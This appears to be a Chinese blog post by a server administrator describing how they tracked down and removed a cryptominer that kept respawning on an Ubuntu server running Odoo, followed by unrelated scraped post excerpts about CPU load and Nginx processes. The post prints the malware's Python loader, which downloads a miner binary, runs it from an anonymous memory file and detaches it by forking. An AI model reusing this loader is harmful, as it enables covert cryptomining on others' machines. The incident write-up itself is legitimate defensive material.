作業系統: ubuntu 16.04
之前部署完odoo12後就經常出現服務掛掉的情況,檢視狀態一般都是某某包缺失,然後各種安裝包,重啟服務,這次發現cpu占用達到399%,而且每次程序名稱都是隨機的,通過postgres使用者執行,遂懷疑之前安裝包的時候裝了什麼不好的東西,通過以下步驟排查:
1. 通過top命令檢視程序
發現pid為2981的程序異常
2. 通過在程序目錄下找執行的程式:
定位到執行檔案所在目錄/var/lib/postgressql
3. 定位到執行檔案後,切換到執行檔案所在目錄刪除可疑檔案
一下就看到有若干可疑指令碼檔案和資料夾,將.ssh、.systemd-init、.bash_history都刪除了。
4. kill異常程序
kill -9然後再使用top命令檢視程序2981
世界暫時安靜了。
後續:觀察了一小會,發現問題依舊,又出了乙個新程序佔cpu399%了,於是繼續排查。
1. 通過對異常程序定位,發現還是在之前的目錄,但進入到目錄,發現之前被刪除的檔案沒有再出現,於是進入到子目錄內查詢,在以下目錄發現新問題
首先,映入眼簾的是go.py檔案,這太明顯了,於是開啟該檔案,內容如下:
import很明了了,應該就是它,刪除該檔案,然後kill掉異常程序,繼續觀察,一會後,問題依舊!!!!!繼續排查,還是在原來的目錄下發現乙個可執行檔案,如下osimport
sysimport
ctypes
import
hashlib
import
urllib2
import
platform
defrun_miner(binary):
fd = ctypes.cdll(none).syscall(319, "", 1)
final_fd = open('
/proc/self/fd/
' + str(fd), 'wb'
) final_fd.write(binary)
final_fd.close()
fork1 =os.fork()
os.getpid()
if 0 !=fork1:
os._exit(0)
ctypes.cdll(none).syscall(112)
fork2 =os.fork()
if 0 !=fork2:
os._exit(0)
os.execl(
'/proc/self/fd/
' + str(fd), '', ''
)def
load_miner(url):
try:
response =urllib2.urlopen(url)
binary =response.read()
except
:
return
none
return
binary
defget_sysinfo():
_arch = ctypes.sizeof(ctypes.c_void_p) * 8
if _arch is 64:
_arch = 64
elif _arch is 32:
_arch = 32
else
:
return
false
kernel_name =platform.system()
if"linux"in
kernel_name:
_os_name = "
linux
"elif
"win"in
kernel_name:
_os_name = "
win"
else
:
return
false
return
_os_name, _arch
defget_md5(binary):
return
hashlib.md5(binary).hexdigest()
if__name__ == "
__main__":
os_name, arch =get_sysinfo()
if os_name != "
linux":
sys.exit(0)
miner_url = "
" +arch
miner_md5 = ["
fd4e61e02958b57b8446325b62efa1ea
", "
616b7f7f9a061fd8a90c83467e7139e0"]
miner_max_retry = 10_dl_count = 1
while
true:
miner_bin =load_miner(miner_url)
if get_md5(miner_bin) in miner_md5 or miner_max_retry <_dl_count:>
break
_dl_count = _dl_count + 1
try: run_miner(miner_bin)
except
:
pass
這是可疑檔案,刪除之,欸,沒任何反應。。。
rm -rf 刪了沒反應!!!
檔案還是在!!!
怎麼辦???
沒許可權??
chmod賦個777
見鬼!看著那個綠色的postgresq1眉頭緊蹙,捶胸頓足,木有辦法呢
十分鐘過去了
二十分鐘過去了
靈光一現,那後面不是l是1啊,這名字太好了,於是直接:
rm -rf postgresq1
刪掉了!!!!!!!
趕緊kill異常程序,再觀察,這次應該沒問題了。
再次後續。問題又來了!!!!!
若干時間後問題再現了,該刪的都刪了,還是能自動執行,檢視了crontab任務、自啟動項,都沒有收穫,幾乎想放棄了,想到對方使用postgres賬戶執行,遂設定postgres賬戶密碼,使用較強密碼,然後再kill異常程序,過去40分鐘了,這次沒有再看到新的程序,謝天謝地!
liunx伺服器java單程序佔cpu較高
介面程式負載較高問題處理 問題描述 伺服器負載經常較高,top檢視一直存在高cpu單程序,問題分析 單程序佔cpu持續較高導致負載高 問題處理 1 根據top命令,檢視占用cpu很高的程序pid,如20348 2 ps mp 20438 o thread,tid,time sort rn,檢視該程序...
Nginx伺服器的程序
nginx伺服器的三大類程序 一 主程序 nginx伺服器啟動時執行的主要程序。它的主要功能是與外界通訊和對內部其他程序進行管理,具體來說有以下幾點 1。讀取nginx配置檔案並驗證其有效性和正確性。2.建立 繫結和關閉socket 3.按照配置生成 管理和結束工作程序 4.接收外界指令,比如重啟 ...
Nginx 伺服器的程序
到目前為止,我們一共提到nginx伺服器的三大類程序 一類是主程序,另一類是由主程序生成的工作程序,還有剛才提到的用於為快取檔案建立索引的程序。nginx伺服器啟動時執行的主要程序。它的主要功能是與外界通訊和對內部其他程序進行管理,具體來說有以下幾點 讀取nginx配置檔案並驗證其有效性和正確性。建...